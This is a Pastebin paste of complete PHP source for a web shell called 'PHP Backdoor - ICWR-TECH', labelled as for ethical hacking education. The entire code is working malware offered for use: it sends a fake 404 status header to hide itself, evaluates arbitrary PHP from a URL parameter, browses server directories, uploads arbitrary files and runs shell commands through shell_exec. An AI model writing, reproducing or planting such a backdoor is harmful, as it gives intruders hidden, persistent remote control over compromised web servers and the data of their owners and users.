VanGans

Simple backdor

Feb 10th, 2019
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.07 KB | None | 0 0
  1. <?php
  2. //--------------------------------//
  3. // PHP Backdoor - ICWR-TECH       //
  4. // For Education Ethical Hacking  //
  5. //--------------------------------//
  6. //----- Config Backdoor -----//
  7. error_reporting(0);
  8. header('HTTP/1.0 404 Not Found', true, 404);
  9. if($_GET['eval']) {
  10. echo eval($_GET['eval']);
  11. exit;
  12. }
  13. $path_false = getcwd();
  14. $path_get = $_GET['path'];
  15. if($_GET['path']) {
  16.   $path = $path_get;
  17. } else {
  18.   $path = $path_false;
  19. }
  20. chdir($path);
  21. $path = str_replace('\\','/',$path);
  22. $expld = explode('/',$path);
  23. foreach($expld as $id=>$pat){
  24. if($pat == '' && $id == 0){
  25. $a = true;
  26. $pathout = '<a href="?path=/">/</a>';
  27. continue;
  28. }
  29. if($pat == '') continue;
  30. $pathout .= '<a href="?path=';
  31. for($i=0;$i<=$id;$i++){
  32. $pathout .= "$expld[$i]";
  33. if($i != $id) $pathout .= "/";
  34. }
  35. $pathout .= '">'.$pat.'</a>/';
  36. }
  37. //---------------------------//
  38. ?>
  39. <title>PHP Backdoor - ICWR-TECH</title>
  40. <meta name="description" content="Simple & Efficient For PHP Backdoor">
  41. <link rel="icon" href="https://icwr-tech.id/logo.png">
  42. <style>
  43.     html {
  44.       background: black;
  45.       color: white;
  46.     }
  47.     a {
  48.       text-decoration: none;
  49.       color: white;
  50.     }
  51.     .box {
  52.       background: transparent;
  53.       color: white;
  54.       border: 1px solid white;
  55.       padding: 10px;
  56.     }
  57.     .boxleft {
  58.       background: transparent;
  59.       color: white;
  60.       border: 1px solid white;
  61.       padding: 10px;
  62.       text-align: left;
  63.     }
  64.     input[type="text"] {
  65.       background: transparent;
  66.       color: white;
  67.       border: none;
  68.       border-bottom: 1px solid white;
  69.     }
  70.     input[type="submit"] {
  71.       background: transparent;
  72.       color: white;
  73.       corder: 1px solid white;
  74.     }
  75.     textarea {
  76.       background: transparent;
  77.       color: white;
  78.       border: 1px solid white;
  79.       width: 100%;
  80.       height: 200px;
  81.     }
  82. </style>
  83. <center>
  84. <div class="box">
  85.   <h1>PHP Backdoor - ICWR-TECH</h1>
  86.   Simple & Efficient For PHP Backdoor
  87.   <br><br>
  88. </div>
  89.   <div class="box">
  90.   File Uploader
  91.   <br><br>
  92.   <form enctype="multipart/form-data" method="post">
  93.     <input type="file" name="up">
  94.     <input type="submit" value="Upload!">
  95.   </form>
  96. <?php if(isset($_FILES['up'])) { if(copy($_FILES['up']['tmp_name'],"$path/".$_FILES['up']['name'])) { echo "Upload Success!"; } else { echo "Failed To Upload"; }} ?>
  97. </div>
  98. <div class="box">
  99. [ <a href="?">Home</a> ]
  100. </div>
  101. <?php $id = get_current_user(); $shell = $id."@".gethostname().":~ ".$pathout." $ "; ?>
  102. <div class="boxleft">
  103. Function shell_exec() => <?php echo (shell_exec('dir')) ? "ON" : "OFF"; ?>
  104. <br><br>
  105. <?php $temp = $id."@".gethostname().":~ ".$path." $ ".$_POST['shell']; ?>
  106. <textarea readonly>
  107. <?php if(isset($_POST['shell'])) { if($exe = shell_exec($_POST['shell'])) { echo $temp."\n\n".$exe; } else { echo "Command Not Found or Disable"; } } ?>
  108. </textarea>
  109. <br><br>
  110. <form enctype="multipart/form-data" method="post">
  111.   <?php echo $shell;?> <input type="text" name="shell">
  112.   <input type="submit" value="Execute!">
  113. </form>
  114. </div>
  115. <div class="box">
  116.   Copyright &copy;2019 - ICWR-TECH
  117. </div>
Advertisement
Add Comment
Please, Sign In to add comment